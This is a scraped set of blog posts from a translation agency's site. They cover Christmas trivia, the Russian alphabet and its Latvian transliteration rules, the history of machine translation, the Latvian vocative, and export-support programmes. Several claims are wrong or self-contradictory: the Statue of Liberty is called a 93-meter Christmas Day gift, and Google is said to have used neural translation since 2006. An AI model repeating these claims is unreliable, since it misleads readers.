for his church Thanksgiving concert in the mid-19th century. The song was reissued in 1857 under the name we all know and love. Today it remains one of the most popular Christmas carols and has been translated into over 70 languages. THE APPEARANCE OF SANTA CLAUS We imagine Santa Claus as a cosy, grey-haired man in a red suit and hat, but historically, the image was unclear. Some claim that the appearance of Santa Claus was created by Coca-Cola, but this is not true. In 1823, Clement Clarke Moore popularised the current visual appearance of Santa Claus in his poem ’Twas the Night Before Christmas. Cartoonist Thomas Nast's 1881 illustrations of Moore's poem have become iconic and helped permanently make Santa's current image. Coca-Cola requested a representation of Santa Claus only in 1931. THE BIGGEST GIFT IS THE STATUE OF LIBERTY It turns out that the Statue of Liberty in New York is the biggest Christmas present in the world. It is 93 meters long and weighs 225 tons. It was presented to the United States by France on Christmas Day 1886 to commemorate the Franco-American alliance during the American Revolution. THREE HOLIDAY COLOURS It turns out that Christmas is represented by three colours, not just two. Red, gold, and green! Green has long been a symbol of life and rebirth; red symbolises the blood of Christ, and gold symbolises light and wealth. MOST OF THE WORLD CELEBRATES CHRISTMAS Did you know that Christmas is officially celebrated in more than 160 countries around the world? In addition, people in about 20 other countries participate in some traditions and celebrate Christmas, even though it is not their official holiday. Skrivanek wishes you a bright, beautiful, and warm Christmas! Czech – Veselé Vánoce! Danish – Glædelig Jul! Finnish – Hyvää Joulua! French – Joyeux Noël! German – Fröhliche Weihnachten! Greek – Καλά Χριστούγεννα / Kala Christougena! Italian – Buon Natale! Norwegian – God Jul! Portuguese – Feliz Natal! Spanish – ¡Feliz Navidad! --- > Krievu valodas alfabēts ir vienkāršota kirilicas modifikācija. Šajā rakstā lasiet par tā izcelsmi un citiem interesantiem faktiem. - Published: 2022-11-23 - Modified: 2022-11-23 - URL: https://skrivanek.lv/krievu-alfabets/ - Kategorijas: alfabets - Translation Priorities: Optional KRIEVU ALFABĒTS – VĒSTURE, INTERESANTI FAKTI, LIETOJUMS ĪSUMĀ PAR KRIEVU VALODAS ALFABĒTU Mūsdienu krievu valodas alfabēts ir vienkāršota kirilicas modifikācija. Kirilicas alfabēts veidots uz Bizantijas grieķu alfabēta pamata, pievienojot burtus slāvu valodām specifisku fonēmu attēlošanai. Kirilica ienāca ne vēlāk kā 10. gs. sākumā un plaši izplatījās līdz ar kristietības ienākšanu Kijivas Krievzemē (šis ir vēsturnieku dotais nosaukums Krievzemei laika periodā no 837. līdz 1240. gadam). Kirilicas rakstītie burti vairākkārt mainījušies, bet šobrīd visaptveroši izmanto 1918. gadā reformas ietvaros pieņemto grafiku un ortogrāfiju. Tikai neliela daļa ārvalstīs krievu valodā iznākošo izdevumu saglabā vecā stila ortogrāfiju. KRIEVU VALODAS ALFABĒTA RAKSTĪTIE BURTI Krievu valodas alfabētā šobrīd ir 33 rakstītie burti: а, б, в, г, д, е, ё, ж, з, и, й, к, л, м, н, о, п, р, с, т, у, ф, х, ц, ч, ш, щ, ъ, ы, ь, э, ю, я. No 1918. līdz 1942. gadam Е un Ё tika uzskatīti par viena un tā paša burta diviem variantiem. KIRILICAS IZCELSME 8. –9. gs. , kad notika pāreja no pagānisma un slāvu tautas kā valsts reliģiju sāka pieņemt kristietību, slāviem savas attīstītas rakstības vēl nebija. Lai cilvēki varētu iepazīties ar baznīcas tekstiem sev saprotamā valodā, slāvu valdnieki aicināja kristietības hierarhijas palīdzību, un tā Solunas (mūsdienās Saloniki Grieķijā) brāļi – Kirils (Кирил) un Metodijs (Методий) – izveidoja slāvu alfabētu, kas vēlāk ieguva nosaukumu “kirilica”. Vienlaikus pie senākajiem slāvu alfabētiem pieder ne vien kirilica, bet arī glagolica, un dažu valodnieku un pētnieku starpā joprojām ir diskusijas, vai Kirils izveidoja kirilicu vai glagolicu, no kuras kirilica attīstījusies vēlāk. Par kirilicas pamatu izmantoti grieķu agrīnie rakstītie burti, ko papildina slāvu valodām specifisku skaņu apzīmējoši burti – šņāceņi, svelpeņi un jotētās skaņas. Ar kirilicas burtiem vairākus gadsimtus tika apzīmēti arī cipari un skaitļi. Vēlāk mūki, izmantojot šo pašu izstrādāto alfabētu, sagatavoja arī pirmo Bībeles tulkojumu senslāvu valodā. KĀDĀS VALODĀS LIETO KIRILISKO ALFABĒTU? Krievu alfabētu izmanto slāvu tautas, kas praktizēja pareizticību. Misionāri un valodnieki 19. –20. gs. uz kirilicas pamata izveidoja Krievijas teritorijā dzīvojošajām tautām paredzētas rakstības sistēmas. Kirilicā balstītie alfabēti vēsturiski kalpojuši rakstībai 108 dabiskajās valodās, bet pašlaik krievu alfabēts tiek izmantots kā vienīgais vai viens no alfabētiem vairāk nekā 50 valodās: baltkrievu, bulgāru, kazahu, kirgīzu, maķedoniešu, melnkalniešu, krievu, serbu, tadžiku, turkmēņu, ukraiņu un uzbeku valodā u. c. KRIEVU ALFABĒTS UN TĀ DOMINANCE PADOMJU SAVIENĪBĀ Padomju Savienības laikā krievu alfabēts rakstībā tika izmantots arī lielākajā daļā pie slāvu tautām nepiederošo PSRS tautas valodu, kas iepriekš izmantoja citas rakstības sistēmas, piemēram, latīņu vai arābu. Intensīva rusifikācija un pāreja uz kirilicu notika 20. gs. 30. gadu beigās. Pēc Padomju Savienības sabrukšanas no kirilicas par labu latīņu rakstībai atteicās Molova, Azerbaidžāna, Uzbekistāna un Turkmenistāna. Savukārt Kazahstāna pāreju uz latīņu alfabētu (kazahu valodai) plāno īstenot līdz 2025. gadam. Pēc Krievijas iebrukuma Ukrainā 2022. gada februārī diskusijas par krievu valodas dominanci un rusifikācijas sekām ieguvušas jaunu aktualitāti postpadomju valstīs, tostarp Latvijā. DAŽĀDAS KIRILICAS ALFABĒTU VERSIJAS Visos kirilicā balstītajos alfabētos sastopami burti, kas apzīmē gandrīz visās šajās valodās sastopamas pamata skaņas: А, Б, В, Г, Д, Е, Ж, З, К, Л, М, Н, О, П, Р, С, Т, У, Ф, Х, Ц, Ч, Ш, Ъ, Ь, Ю, Я. Papildus katras valodas alfabēts satur arī burtus, kas apzīmē tikai šai valodai specifiskas skaņas, piemēram, baltkrievu valodā nav burtu и, щ, ъ, taču ir burti і, ў; vai maķedoniešu alfabētā ir septiņi specifiskie burti: Ѓ ѓ, Ѕ ѕ, Ј ј, Љ љ, Њ њ, Ќ ќ, Џ џ, bet kazahu alfabētā: Ә ә, Ғ ғ, Қ қ, Ң ң, Ө ө, Ұ ұ, Һ һ, І і. Tas nozīmē, ka runājot par kirilisko alfabētu, svarīgi norādīt arī valodu – baltkrievu valodas kirilica, krievu valodas kirilica, serbu valodas kirilica u. tml. KRIEVU VALODAS ALFABĒTA TRANSLITERĀCIJA Gadījumos, kad tiek strādāts ar sistēmām, kas nav rusificētas, tiek pielietota transliterācija (kāda alfabēta burti un burtkopas tiek atveidoti ar atbilstošiem cita alfabēta burtiem) – galvenokārt strādājot ar datnēm un tulkojot īpašvārdus no vienas valodas citā. Tāpat transliterācija aktuāla ikdienas komunikācijā, piemēram, e-pasta sarakstē ar kādu, kuram datorā nav iestatīta kirilica, vai SMS saziņā, jo vienā ziņojumā iespējams iekļaut lielāku skaitu latīņu alfabēta simbolu nekā kirilicas rakstzīmju. Transliterācijas pamatā ir fonētiskās atbilsmes princips, piemēram, pēc tradicionālās latīņu (й→j, ц→c, ы→y, ю→ju, я→ja) vai angļu valodas (ы→y, ц→ts, ч→ch, ш→sh, ю→yu, я→ya) izrunas. ISO TRANSLITERĀCIJAS STANDARTS Pastāv arī speciāli izstrādāts starptautisks standarts, kas paredz kirilicas transliterāciju latīņu alfabēta simbolos zinātniskos izdevumos. Tā priekšrocība ir pilnīga viennozīmība un konsekvence, jo katram kirilicas burtam atbilst viens latīņu alfabēta burts vai burta un kādas diakritiskās zīmes kombinācija. To izveidojusi Starptautiskā standartu organizācija (International Organization for Standardization). 1954. gadā tika izveidots un 1968. gadā atjaunināts ISO/R 9 (International Standard for the transliteration into Latin characters of Cyrillic characters) standarts, kas aptver krievu un vēl septiņas slāvu valodas. Pēdējais ISO transliterācijas standarts ir ISO 9:1995, kam par pamatu ņemts ISO/R9:1968, kurš šobrīd vairs netiek izmantots. Tas ir pirmais standarts, kurā izmantota sistēma ar vienu rakstzīmi, ļaujot veikt pilnvērtīgu reverso transliterāciju. KRIEVU ALFABĒTA TRANSLITERĀCIJA LATVIEŠU VALODĀ Arī Latvijā Valsts valodas likums paredz Noteikumus par personvārdu rakstību un lietošanu latviešu valodā. Noteikumi nosaka latviešu literārās valodas normas citvalodu cilmes personvārdu atveidē un lietošanā, kā arī citvalodu personvārdu atveides pamatnoteikumus latviešu valodā un kārtību, kādā personvārdi rakstāmi un identificējami dokumentos neatkarīgi no to cilmes. To mērķis ir nodrošināt personvārda rakstības atbilstību latviešu valodas normām un aizsargāt personu pret nepamatotu tās vārda un uzvārda pārveidošanu, kā arī pret iestāžu atteikšanos atzīt tāda personas dokumenta piederību attiecīgajai personai, kurā tās vārda un uzvārda ieraksts atšķiras no ieraksta citā (agrāk izdotā) šīs personas dokumentā. GALVENIE ATVEIDES PRINCIPI LATVIEŠU VALODĀ Krievu personvārdu atveides pamatprincipi attiecas arī uz dažu citu kiriliskās rakstības valodu personvārdiem (it īpaši uz ukraiņu un baltkrievu personvārdiem), kurus latviešu valodā atveido pēc to atveidojuma krieviskajā rakstījumā. Daži galvenie atveides principi, kam jāpievērš uzmanība: krievu valodā nešķir īsos un garos patskaņus, bet līdz ar uzsvaru izrunā tie iegūst zināmu pagarinājumu, šo pagarinājumu latviešu valodā nenorāda (piemēram, Несмеянов – Ņesmejanovs, Астахов – Astahovs); garo patskani saknē var rakstīt nekrieviskas cilmes personvārdos, kas saskan ar analoģiskas cilmes latviešu personvārdiem (piemēram, Валентина – Valentīna, Константин – Konstantīns); lai krievu personvārdus iekļautu latviešu valodas gramatikas sistēmā, tiem jābūt ar vīriešu vai sieviešu dzimtes lokāmo galotni – krieviskas cilmes vīriešu uzvārdiem, kas beidzas ar līdzskani, latviešu valodā pievieno galotni -s (piemēram, Иванов – Ivanovs, Щедрин – Ščedrins); krieviskas cilmes sieviešu uzvārdos, kuriem ir īpaša sieviešu dzimtes forma un galotne -a, šo galotni saglabā arī latviešu valodā (Иванова – Ivanova, Щедрина – Ščedrina), bet, ja sieviešu uzvārdam krievu valodā nav īpašas sieviešu dzimtes formas un tas, tāpat kā vīrieša uzvārds, beidzas ar līdzskani, latviešu valodā tam pievieno galotni -a (Гром – Groma, Воробей – Vorobeja). Vērīga uzmanība jāpievērš arī patskaņu un līdzskaņu atveidei latviešu valodā. Piemēram, и – i (Тихонов – Tihonovs), bet, ja vārdā ir mīkstinājuma zīme, tad и – ji (Анастасьин – Anastasjins), vai, ja vārda sākumā aiz и ir burti o, e, a, tad patskani и latviešu valodā atveido ar j (Иосиф – Josifs, Ионов – Jonovs). Plašāk ar krievu valodas personvārdu atveides pamatprincipiem var iepazīties Ministru kabineta noteikumos Nr. 114, kas izdoti saskaņā ar Valsts valodas likuma 19. panta trešo daļu un 23. pantu. KRIEVU VALODAS TULKS UN TULKOTĀJS Skrivanek tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu krievu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Nodrošinām visa veida mutiskās tulkošanas pakalpojumus uz un no krievu valodas. Tulkojumi krievu valodā KRIEVU VALODAS KURSI Piedāvājam krievu valodas mācības uzņēmumu un iestāžu darbiniekiem, kā arī grupu un individuālos krievu valodas kursus privātpersonām. Nodarbību laiks un intensitāte pēc Jūsu izvēles! Nodarbības nodrošinām klātienē vai tiešsaistē. Īpašais piedāvājums - apmeklējiet individuālos krievu valodas kursus divatā, maksājot tikai par viena studenta mācībām! Krievu valodas kursi --- > Mašīntulkošana ir rakstīta vai arī runāta teksta tulkošana, kuru veic dators, nevis cilvēks ─ tulkotājs. Vairāk par mašīntulkojumu šeit. - Published: 2022-09-15 - Modified: 2024-10-17 - URL: https://skrivanek.lv/kas-ir-masintulkosana/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR MAŠĪNTULKOŠANA? Mašīntulkošana ir rakstīta vai arī runāta teksta tulkošana, kuru veic dators, nevis cilvēks ─ tulkotājs. Mašīntulkošanu (saīsinājumā: MT) mēdz uzskatīt par datorlingvistikas apakšnozari, kas pēta metodes teksta tulkošanai ar datoru. Praktiskie pētījumi mašīntulkošanā tika sākti drīz pēc pirmo datoru rašanās kā viens no potenciāliem datora lietojuma virzieniem. Pirmās neveiksmes mašīntulkošanā sekmēja plašāku datorlingvistikas pētījumu sākšanu. To rezultāti savukārt tika izmantoti mašīntulkošanas tehnoloģiju pilnveidē. Mūsdienu mašīntulkošanas sistēmas izmanto neironu tīklu modeļus, kas nemitīgi tiek attīstīti un pilnveidoti. Pašos pirmsākumos MT nodrošināja ļoti primitīvu avota valodas vārdu aizstāšanu ar atbilstošiem statistiski biežāk lietotās nozīmes vārdiem mērķvalodā. Rezultāts faktiski nebija pieņemams, jo atkarībā no teksta un konteksta, kurā vārds tika lietots, tam varēja būt ļoti atšķirīgas nozīmes. Attīstoties datorlingvistikai, MT sāka izmantot valodas korpusus un statistiskās metodes, kas ļāva ņemt vērā atšķirības valodu tipoloģijā un tulkot, piemēram, frazeoloģismus. Mūsdienās mašīntulkošana ir ne tikai pētniecības virziens, bet arī plaši lietota tehnoloģija un veiksmīgs komercprodukts. Mašīntulkošanas sistēmas tulkojuma kvalitāte var būtiski atšķirties dažādiem valodu pāriem un jomām. Lai arī mašīntulkošana tiek plaši lietota, tomēr tā joprojām nespēj pilnībā automatizēt jebkāda veida tulkošanu. MT risinājumi atšķirībā no citiem ar datora izmantošanu saistītiem rīkiem – datorizētās tulkošanas (computer-assisted translation, computer-aided translation – CAT) un interaktīvas tulkošanas (tulkošanas ar datora palīdzību) rīkiem – veic tulkošanu ar minimālu cilvēka dalību vai pat bez tās. Mašīntulkošanai mūsdienu pasaulē ir milzīga praktiskā nozīme, jo īpaši Eiropas Savienībā, kur vienlaikus ir jānodrošina tulkošana visās Eiropas Savienības dalībvalstu valodās, tādējādi mazinot valodas barjeru. Bez mašīntulkošanas būtu jānodarbina simtiem tulkotāju, tas aizņemtu vairāk laika un cilvēkresursu. Mūsdienu mašīntulkošanas sistēmas izmanto gan publiskās pārvaldes iestādes, gan uzņēmumi, lai nodrošinātu daudzvalodu saturu. Mašīntulkošanu plaši izmanto lokalizācijas uzņēmumi. Neņemot vērā tehnoloģiju attīstību, mašīntulkošana vēl nespēj aizstāt cilvēkus. Šobrīd pasaulē ir aptuveni 300 tūkstošu profesionālu tulkotāju, kas kopumā veido 0,004% no pasaules iedzīvotāju skaita. Saskaņā ar ASV statistikas speciālistu pētījumiem tulkošanas pakalpojumu tirgus ir aptuveni 50 miljardu ASV dolāru vērtībā, un šis skaitlis pastāvīgi pieaug. Mūsdienās mašīntulkošanas tehnoloģiju var pielāgot konkrētām jomām vai profesiju vajadzībām (piemēram, informēšanai par gaidāmajām laika ziņām), rūpīgi atlasīts valodas materiāls var būtiski uzlabot tulkojuma rezultātu. Tas ir īpaši noderīgi jomās, kurās tiek lietota izteikti formāla vai standartizēta valoda. Līdz ar to oficiālu tipveida paziņojumu (tekstu) vai standarta juridisku dokumentu mašīntulkojums nodrošina labāku rezultātu nekā sarunu vai citu mazāk standartizētu tekstu, tostarp literāru sacerējumu, tulkojums. LABĀKIE MAŠĪNTULKOŠANAS RISINĀJUMI ŠODIEN Šobrīd pasaulē nav nevienas mašīntulkošanas programmas, kas varētu pilnībā atbilst tulkojuma saņēmēja vēlmēm un prasībām. Katram risinājumam noteikti ir savas priekšrocības un trūkumi. Pieci labākie mūsdienu mašīntulkošanas risinājumi ir minēti turpmāk. Google tulkotājs – kopš 2006. gada Google izmanto neironu mašīntulkošanu, patentējot īpašu mašīntulkošanas tehnoloģiju, kas ir nodēvēta par Google neironu mašīntulkošanu. Šī tehnoloģija ļauj izmantot atkārtotus neironu tīklus, lai tulkotu veselus teikumus, vienlaicīgi maksimāli saglabājot to kontekstu. DeepL Translators – šī mašīntulkošanas programma sāka darboties 2017. gadā, plaši pētot un apgūstot labākās tulkošanas iespējas, izmantojot mākslīgo intelektu. DeepL Translator nodrošina precīzākus un niansētākus tulkojumus, salīdzinot ar citiem mašīntulkošanas rīkiem. Bing Microsoft Translator – balstīts uz Microsoft patentētu mašīntulkošanas sistēmu, izmantojot algoritmu, lai analizētu secību, kādā vārdi ir jātulko, lai iegūtu visprecīzāko tulkojumu. SYSTRAN Translate – dibināts 1968. gadā, pirmais uzņēmums, kas piedāvāja komerciālus mašīntulkošanas pakalpojumus. Regulāri atjaunina savu tulkošanas rīku ar jaunām un progresīvām mašīntulkošanas tehnoloģijām un funkcijām. Nodrošina ar ļoti precīziem tulkojumiem. Amazon Translate – paralēli e-komercijas tirgum tika izveidots mašīntulkošanas rīks, lai nodrošinātu ātrus, augstas kvalitātes valodu tulkojumus par pieņemamu cenu. Arī Skrivanek ir savs neironu mašīntulkošanas risinājums ─ Skrivanek NMT. Vairāk par Skrivanek NMT šeit. Noteikti ir jāņem vērā, ka mašīntulkošana var būt palīgs tekstu vai mājaslapu tulkošanai, taču vēl joprojām tā nevar pilnībā aizstāt cilvēka veiktu tulkojumu. Tā var paātrināt tipveida dokumentu tulkošanas procesu, ar zināmu precizitāti un efektivitāti veicot tulkošanu, bet noteikti būs nepieciešama tulkotāja vai valodas profesionāļa palīdzība teksta un tulkojuma apstrādē un rediģēšanā pēc mašīntulkotāja veiktā darba. Ieinteresēja un vēlies uzzināt vairāk? Raksti mums uz birojs@skrivanek. lv jau tūlīt, un pastāstīsim, kā gudri investēt mūsdienīgā valodu tehnoloģijā. MAŠĪNTULKOŠANAS VĒSTURE Pirmās idejas par mehānisku vārdnīcu izmantošanu valodas barjeru pārvarēšanai radās jau 17. gs. Tomēr tikai 20. gs. 30. gados šo ideju neatkarīgi patentēja franču izcelsmes armēņu zinātnieks Žoržs Artsruni (George Artsrouni) un krievu zinātnieks Pjotrs Smirnovs-Trojanskis (Пётр Петрович Смирнов-Троянский). Bieži par mašīntulkošanas (un datorlingvistikas) sākumu min amerikāņu zinātnieka Vorena Vīvera 1949. gada memorandu, kurā viņš definē mašīntulkošanas uzdevumu, galvenās grūtības (piemēram, neviennozīmību) un iespējamos risinājumus – kriptogrāfiju, valodneatkarīgus jēdzienus un citus. Drīz pēc tam mašīntulkošanas pētījumi tika sākti Vašingtonas Universitātē, Kalifornijas Universitātē Bērklijā un Masačūsetsas Tehnoloģiju institūtā. Viens no zināmākajiem tā laika sasniegumiem ir 1954. gadā veiktais Džordžtaunas eksperiments (sadarbība starp Džordžtaunas Universitāti Vašingtonā un IBM), kura laikā ar datoru tika pārtulkoti 49 rūpīgi izvēlēti teikumi no krievu valodas angļu valodā. Eksperimenta labie rezultāti radīja strauju mašīntulkošanas pētījumu uzplaukumu visā pasaulē. 1962. gadā 42 zinātniski pētnieciskie centri nodarbojās ar mašīntulkošanas sistēmu izstrādi. 1966. gadā ASV tika izveidota īpaša Automatizētas valodas apstrādes konsultatīvā komisija (Automatic Language Processing Advisory Committee, ALPAC), kuras uzdevums bija novērtēt mašīntulkošanas devumu. Šīs komisijas ziņojumā mašīntulkošana tika novērtēta kā lēnāka, neprecīzāka un divreiz dārgāka, salīdzinot ar tulkotāju, un tika ieteikts pievērsties fundamentāliem datorlingvistikas pētījumiem. ASV valdība pārtrauca pētījumu finansēšanu mašīntulkošanas jomā. Padomju Sociālistisko Republiku Savienībā (PSRS) mašīntulkošanas pētījumi tika atsākti 1974. gadā. Tādējādi laikposms no 60. gadu vidus līdz 70. gadu vidum tiek vērtēts kā stagnācijas periods mašīntulkošanā, kura laikā galvenā uzmanība tika pievērsta sintakses teorijām un valodas sapratnei, nevis jaunu mašīntulkošanas rīku izveidei. Tomēr mašīntulkošanas pētījumi netika pārtraukti Kanādā, Francijā un Vācijā. Šajā periodā tika izstrādātas arī vairākas pasaulē pazīstamas mašīntulkošanas sistēmas: Systran (ASV), ETAP-1 (PSRS) un citas. 1976. gadā Systran mašīntulkošanas risinājumu iegādājas Eiropas Komisija dokumentu tulkošanai ─ sākumā tulkošanai no franču valodas angļu valodā, vēlāk arī citiem valodu pāriem. Eiropas Komisija Systran izmantoja līdz 2010. gadam. Jauns un ļoti svarīgs mašīntulkošanas uzplaukums sākās laikposmā no 70. gadu vidus līdz 80. gadu beigām, kad progresēja rūpniecisku mašīntulkošanas sistēmu izstrāde, ‒ kā atbilde arvien pieaugošajam pieprasījumam pēc izmaksās efektīvām mašīntulkošanas sistēmām tehniskās un komerciālās dokumentācijas tulkošanai. Radās interaktīvas un konkrētas nozares vajadzībām izstrādātas mašīntulkošanas sistēmas. 80. gadu sākumā pieauga mašīntulkošanas sistēmu dažādība, palielinājās pētījumos iesaistīto valstu skaits. Mašīntulkošanas sistēmu izstrādē īpaša uzmanība tika pievērsta milzīgu leksikonu, terminoloģisko datubāzu un zinību bāzu izveidei. 20. gs. 80. gadu vidus kļuva par pavērsiena punktu pārejai no likumos balstītām metodēm uz datos balstītām metodēm. Sistēmas izmantoja statistiskās metodes, lai iemācītos tulkojumus no liela apjoma tekstu korpusiem. Statistiskās mašīntulkošanas metodes kļuva populāras gadsimtu mijā. To sekmēja pieaugošā datoru jauda un datu glabāšanas apjoma pieaugums. 2002. gadā tika nodibināts pirmais statistiskās mašīntulkošanas uzņēmums Language Weawer. Statistiskās mašīntulkošanas sistēmas izstrādāja arī Google, Microsoft un IBM. Līdzīgi kā likumos balstītās sistēmas, statiskās mašīntulkošanas sistēmas sākumā izmantoja vārdu modeļus, bet vēlāk vārdu virknes (frāzes), sintakses un hierarhiskus frāžu modeļus, tika veidotas arī hibrīdas sistēmas. 20. gs. beigās tika sākta arī runātās valodas mašīntulkošanas pētniecība. Šajā laikā radās datorizētās tulkošanas rīki, kas arvien plašāk tika lietoti programmatūras lokalizācijā. Gadsimtu mijā radās mašīntulkošanas risinājumi tīmeklī, un mašīntulkošana sāka kļūt par masu produkciju. Statistiskā mašīntulkošana bija dominējošā metode līdz 2016. gadam, kad to strauji nomainīja neironu mašīntulkošana. Neironu mašīntulkošanai sākotnēji sarežģītības un nepietiekamo datora un valodas resursu dēļ nebija vērā ņemamu rezultātu. Tāpēc neironu tīklu modeļi vispirms tika izmantoti kā valodas modeļi statistiskās mašīntulkošanas sistēmās, bet vēlāk iekļauti statistiskās mašīntulkošanas sistēmās kā papildu vērtētāji tulkošanas modelim ‒ pārkārtošanas modelim, pirmskārtošanas modelim un citiem. Pēc daudzu gadu pētījumiem, izstrādēm neironu mašīntulkošana tomēr kļuva par modernāko metodi. 2016. gada rudenī uzņēmums Google sāka statistiskās mašīntulkošanas sistēmu aizstāšanu ar neironu mašīntulkošanas sistēmām. 2017. gadā to sāka arī Facebook. Par pāreju uz neironu mašīntulkošanu paziņoja arī Amazon, Microsoft, Systran, IBM, Baidu un daudzi citi. Šodien par mašīntulkošanas iespējām gan teorētiskā, gan praktiskā līmenī aktīvi runā gan zinātnieki, gan programmētāji, gan arī tulkošanas un lokalizācijas nozares praktiķi. Joprojām daudzi kritiķi uzskata, ka pilnībā automatizēta tulkošana principā nav iespējama. Izmantojot tikai mašīntulku, teksts tik un tā būs jārediģē. Vairums iesaistīto tomēr atdzīst, ka ilgtermiņā varētu būt iespējams uzlabot mašīntulkotāja kvalitāti tiktāl, ka rezultāts būs līdzvērtīgos cilvēka veiktam tulkojumam, jo laika gaitā mašīntulkotājs spēj “mācīties” un vairs nepieļaus vienas un tās pašas kļūdas. Jāatzīst, ka mašīntulkotāja “mācīšana” prasa ne vien lielus finansiālos ieguldījumus, bet arī zinošus speciālistus. Ar katru gadu mašīntulkošanas kvalitāte uzlabojas, taču mašīntulkošana un teksta pēcrediģēšana ir vienots process, kurā mašīntulkotāja tulkoto tekstu pārskata cilvēks (parasti profesionāls tulkotājs) un pārliecinās, ka mašīntulkotājs nav pieļāvis rupju nozīmes kļūdu. Šādas pieejas izmantošana ir ļoti izdevīga liela apjoma projektiem un darba uzdevumiem, jo mašīntulkotājs spēj iztulkot liela apjoma tekstus sekundēs, savukārt profesionāla tulkotāja veikta tulkojuma pēcrediģēšana garantē, ka tulkojuma kvalitāte neatšķirsies no cilvēka veikta tulkojuma. Līdz ar to ar vieniem un tiem pašiem resursiem ir iespējams iztulkot aptuveni divreiz vairāk teksta, nezaudējot kvalitāti. Visbiežāk mašīntulkotājs tiek izmantots, tulkojot liela apjoma tekstus, tehniskos aprakstus, lietošanas instrukcijas, tipveida juridiskos tekstus un citus. Nepieciešams tulkojums? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu --- > Vokatīvs ir uzrunas locījums latviešu valodā. Vokatīva locījumam nav jautājuma. Uzzini vairāk šajā rakstā. - Published: 2022-09-11 - Modified: 2022-10-21 - URL: https://skrivanek.lv/vokativs/ - Kategorijas: Locījumi - Translation Priorities: Optional KAS IR VOKATĪVS? Vokatīvs (latīņu: vocativus) ir viens no valodniecībā vismazāk pētītajiem locījumiem, tas ir uzrunas locījums. Vokatīva locījumam nav jautājuma. KAS IR UZRUNA? Uzruna ir vārds vokatīvā, ar ko tiek uzrunāta dzīva būtne vai priekšmets ─ Korektor! , Redaktor! utt. Uzrunai tāpat kā vokatīvam nav jautājuma, tāpēc tā nevar būt par teikuma locekli, jo visi teikuma locekļi atbild uz kādu jautājumu. VOKATĪVS LATVIEŠU VALODĀ Latviešu valodā vokatīva locījums piemīt lietvārdiem, īpašības vārdiem, kā arī kārtas skaitļa vārdiem. Lokatīva locījuma nav nelokāmajiem lietvārdiem, atgriezeniskajiem lietvārdiem un īpašības vārdiem ar nenoteikto galotni. Vokatīva locījumu nevar izveidot arī kārtas skaitļa vārdiem. Latviešu valodnieku vidū noris spraigas diskusijas par to, vai vokatīvs vispār ir saglabājams latviešu valodas locījumu sistēmā. Mūsdienu skatījumā vokatīva locījumam nav savas locījuma galotnes, tas tiek uztverts kā uzrunas forma un realitātē locījumu sistēmā tiek paturēts tikai tradīcijas labad. Latviešu valodā, uzrunājot cilvēkus vai dzīvniekus, katrā deklinācijā vienskaitļa vokatīva izteikšanas līdzekļi ir dažādi. Ir vārdi, kuru formas sakrīt ar vienskaitļa nominatīva locījumu, vārdi, kuriem zūd galotnes, kā arī atsevišķi izņēmumi, kur tiek lietotas gan nominatīva forma, gan bezgalotnes formas. Piemēram: Tulks! – Tulk! , Valodniek! , Projektu vadītāj! VOKATĪVS PASAULES VALODĀS Vokatīva locījums pastāv ne tikai latviešu valodā, bet arī daudzās citās pasaules valodās. Ļoti svarīgi, teikumā lietojot uzrunu, ir ievērot lietotās valodas gramatiskās iezīmes. Lielākajā daļā pasaules valodu, kurā tiek lietots vokatīva locījums, uzruna tiek atdalīta ar komatu. Ja šis komats netiek lietots, teikumam var veidoties pavisam cita nozīme. Vēsture liecina, ka vokatīva locījums bijis svarīgs daudzās indoeiropiešu valodās, piemēram, latīņu, grieķu, arī sanskritā. Mūsdienās vokatīva locījums tiek lietots un ir saglabājies baltu, slāvu un ķeltu valodās. Ir valodnieki, kuri apgalvo, ka vokatīva locījumu nevar uztvert kā atsevišķu locījuma formu, bet vairāk kā īpašu vārdu formu, kura nepieder nevienam locījumam, jo nav sintaktiski saistīta ar nevienu citu teikuma locekli. --- > LIAA atbalsta programma, kas saistīta ar tīmekļvietnes, internetveikalu, aplikāciju digitālo risinājumu un virtuālās saziņas platformu izstrādi eksporta tirgiem. - Published: 2022-09-10 - Modified: 2024-09-10 - URL: https://skrivanek.lv/tulkojumi-eksporta-tirgiem-liaa-atbalsta-programmas/ - Kategorijas: Raksti - Translation Priorities: Optional TULKOJUMI EKSPORTA TIRGIEM. LIAA ATBALSTA PROGRAMMAS. Mūsdienu digitālajā un mākslīgā intelekta laikmetā uzņēmumiem, lai gūtu panākumus un palielinātu ilgtermiņa veiktspēju, paplašinātu biznesa partneru un klientu loku, ir jābūt pēc iespējas vairāk redzamiem interneta vidē. Sevišķi svarīga ir mājaslapu izstrāde, digitālā reklāma un publikācijas sociālajos medijos. Internetā pieejama vietne ļaus uzrunāt un nodrošināt uzņēmuma pakalpojumus plašākai auditorijai, kā arī uzlabos komunikāciju starp klientiem un pakalpojumu sniedzējiem ne tikai rezidējošā valstī, bet arī ārpus tās robežām. Jebkura pircēja, klienta, 